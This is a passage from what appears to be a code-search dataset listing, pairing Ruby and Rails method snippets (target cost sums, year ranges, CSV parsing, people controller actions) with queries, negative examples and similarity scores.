"0.63712466",
"0.63590693",
"0.6357017",
"0.6348037",
"0.6323479",
"0.6318441",
"0.62775224",
"0.6265414",
"0.62569... | 0.0 | -1 |
TODO decide if this should be calculated from yearly_target_manp | def update_target_manp
manp = 0
self.activities.each do |activity|
manp += activity.targetManp
end
self.target_manp = manp
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def make_year(year, bias); end",
"def buildYearMaxed \n maxYear = data_package.schemas[\"sca_e_projections_by_sd\"][\"maxYear\"]\n\n project.build_year > maxYear ? maxYear : project.build_year\n end",
"def adjusted_target_income\n (self.target_income * (years_to_retirement * self.avg_inflation_rat... | [
"0.58974826",
"0.56662226",
"0.5583141",
"0.55468875",
"0.54868406",
"0.54084474",
"0.5402226",
"0.5355737",
"0.53349847",
"0.53158593",
"0.5314479",
"0.52883106",
"0.5282186",
"0.52382964",
"0.52105147",
"0.52044845",
"0.5199421",
"0.5188311",
"0.5188311",
"0.51870376",
"0.5... | 0.5647565 | 2 |
TODO decide if this should be calculated from yearly_target_cost | def update_target_cost
cost = BigDecimal(0.00, 10)
self.activities.each do |activity|
cost += activity.targetCost
end
self.target_cost = cost
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def internal_work_cost year\n \t\tKpi.internal_work_cost(self, year)\n \tend",
"def annual_cost\n (number_of_positions * hourly_rate * hours_per_week * number_of_weeks)\n end",
"def annual_cost\n (number_of_positions * hourly_rate * hours_per_week * number_of_weeks)\n end",
"def standard_cost_code;... | [
"0.6807114",
"0.6693918",
"0.6693918",
"0.645666",
"0.639724",
"0.6364628",
"0.6357599",
"0.63488847",
"0.63282806",
"0.62914187",
"0.6269085",
"0.62634665",
"0.6216426",
"0.6204317",
"0.6187541",
"0.61302656",
"0.61232364",
"0.6114092",
"0.60668516",
"0.60346997",
"0.6007883... | 0.67912424 | 1 |
Return arry with current year to current year + ... | def next_years
current_year = Time.now.year
current_year..(current_year + 4)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_year_ary\n (Date.today.year-99..Date.today.year).inject([]){|x,y| x << y}.reverse\n end",
"def year_array\n return ['x'] +(@earliest_year..@latest_year).to_a\n end",
"def get_years_to_date_collection\n (get_system_asset_starting_year..Date.today.year).to_a\n end",
"def year\n return se... | [
"0.81321406",
"0.7907545",
"0.75129354",
"0.7320507",
"0.7258197",
"0.7170044",
"0.71419567",
"0.7095153",
"0.70775753",
"0.70690596",
"0.70271087",
"0.70121396",
"0.7001414",
"0.6972363",
"0.69550437",
"0.6935392",
"0.6920794",
"0.6920794",
"0.6890957",
"0.6889677",
"0.68542... | 0.6626334 | 33 |
It will fill the hash_record with data from the input file that matches the column_names | def fill_hash_record_from_line(column_names, headers, line)
hash_record = {}
fields = line.split(@sep)
fields.each_with_index do |field, field_id|
hash_record[headers[field_id]] = field if column_names.include?(headers[field_id])
end
hash_record
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def initialize_values\n #skip the first 5 bytes, don't know what they are for and they don't contain the data.\n @data.read(5)\n \n @attributes = columns.inject({}) do |hash, column|\n \n #get the unpack flag to get this data.\n value = @data.read(column.length).unpack(\"#{... | [
"0.62175995",
"0.6150782",
"0.614006",
"0.6087499",
"0.60071754",
"0.6000193",
"0.5869175",
"0.5846159",
"0.58414525",
"0.58093965",
"0.57959306",
"0.5782186",
"0.5778418",
"0.57463425",
"0.57329917",
"0.57252955",
"0.57242304",
"0.57004684",
"0.56843245",
"0.5662742",
"0.561... | 0.7244097 | 0 |
Your mac username, /Users/example/ < example in this case | def open(url)
Net::HTTP.get(URI.parse(url))
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def username\n if @username.nil?\n if os_type(:nice, :not_extended) == 'Solaris'\n @username = @platform.exec(\"/usr/ucb/whoami\").strip\n else\n @username = @platform.exec(\"whoami\").strip\n end\n end\n \n @username\n end",
"def username\n ENV['USER']\n end",
"de... | [
"0.68197846",
"0.6711065",
"0.6451409",
"0.6256693",
"0.619899",
"0.61829805",
"0.61540854",
"0.61285675",
"0.6091611",
"0.6067709",
"0.6066932",
"0.6066932",
"0.5962037",
"0.59566",
"0.5940808",
"0.5891948",
"0.58859575",
"0.58783644",
"0.58783644",
"0.5876491",
"0.5825839",... | 0.0 | -1 |
GET /people GET /people.json | def index
@people = Person.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def index\n\t\tall_people = Person.all.sort_by(&:id)\n\t\tif all_people\n\t\t\trender json: {people: all_people}\n\t\telse\n\t\t\trender body: 'People Not Found', status: 404\n\t\tend\n\tend",
"def people\n Sifter.\n get(api_people_url).\n fetch(\"people\", []).\n map { |p| Sifter::Person.new(p... | [
"0.75080985",
"0.7490487",
"0.7490487",
"0.73151547",
"0.72153556",
"0.7154834",
"0.7154834",
"0.71427387",
"0.7037789",
"0.70082515",
"0.699553",
"0.6980208",
"0.6980208",
"0.6980208",
"0.6980208",
"0.6980208",
"0.6980208",
"0.6980208",
"0.6980208",
"0.6980208",
"0.69641876"... | 0.6221649 | 75 |
GET /people/1 GET /people/1.json | def show
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @person = Person.find(params[:id])\n\n respond_to do |format|\n format.json { render :json => @person }\n end\n end",
"def person(id)\n get(\"/catalog/people/#{id.to_s}\")\n end",
"def show\n @person = get_person(params[:id])\n respond_to do |format|\n format.html #... | [
"0.73653966",
"0.7294701",
"0.72789526",
"0.72789526",
"0.7234639",
"0.72182435",
"0.7160584",
"0.7160584",
"0.7160584",
"0.7160584",
"0.7160584",
"0.7160584",
"0.7160584",
"0.7160584",
"0.7160584",
"0.7136642",
"0.7079218",
"0.7075326",
"0.7064788",
"0.702281",
"0.6999083",
... | 0.0 | -1 |
POST /people POST /people.json | def create
@person = Person.new(person_params)
if(@person.cabin_id != nil && @person.cabin_id != 0)
cabin = Cabin.find(@person.cabin_id);
if(cabin.people_count < cabin.max)
cabin.people_count = cabin.people_count + 1;
if cabin.save
flash[:notice] = "& person saved to cabin"
else
@person.cabin_id = nil;
flash[:notice] = "but the person could not be added to this cabin. Check the cabin and try again."
end
else
@person.cabin_id = nil;
flash[:notice] = "but the cabin was full"
end
else
@person.cabin_id = nil
flash[:notice] = "& not saved to a cabin"
end
respond_to do |format|
if @person.save
format.html { redirect_to @person, notice: "Person saved successfully" + notice}
format.json { render action: 'show', status: :created, location: @person }
else
format.html { render action: 'new' }
format.json { render json: @person.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create\n @person = current_user.created_people.new(person_params_with_school)\n if @person.save\n render :show, status: :created, location: api_v1_person_url(@person)\n else\n render json: @person.errors, status: :unprocessable_entity\n end\n end",
"def create\n @person = Person.new... | [
"0.6787028",
"0.67639786",
"0.67471504",
"0.67430043",
"0.6740321",
"0.6729967",
"0.6695623",
"0.66938925",
"0.66387355",
"0.6607146",
"0.6599289",
"0.6555189",
"0.6555189",
"0.6555189",
"0.6555189",
"0.65208775",
"0.65106755",
"0.6495074",
"0.6495074",
"0.6495074",
"0.649507... | 0.0 | -1 |
PATCH/PUT /people/1 PATCH/PUT /people/1.json | def update
respond_to do |format|
if(@person.cabin_id != nil)
cabin = Cabin.find(@person.cabin_id);
check_cabin_and_assing_if_available(cabin, @person)
else
person = params[:person]
puts "///////////////-------------------"
puts params[:person][:cabin_id]
puts "/////-------"
cabin = Cabin.find(person[:cabin_id])
check_cabin_and_assing_if_available(cabin, @person)
end
if @person.update(person_params)
format.html { redirect_to @person, notice: 'Person was successfully updated' + notice }
format.json { head :no_content }
else
format.html { render action: 'edit' }
format.json { render json: @person.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n if request.content_type == \"application/json\"\n # .update is like a \"update people set ...\" in sql\n if @person.update(person_params)\n render json: @person\n else\n render json: @person.errors, status: :not_found\n end\n else\n render status: :bad_requ... | [
"0.7046178",
"0.6955489",
"0.68781364",
"0.66859853",
"0.6622123",
"0.6622123",
"0.6622123",
"0.6622123",
"0.6622123",
"0.6618028",
"0.66086507",
"0.66086507",
"0.6599896",
"0.6584526",
"0.65779114",
"0.6543081",
"0.6543081",
"0.6543081",
"0.65398455",
"0.6506056",
"0.6504997... | 0.0 | -1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.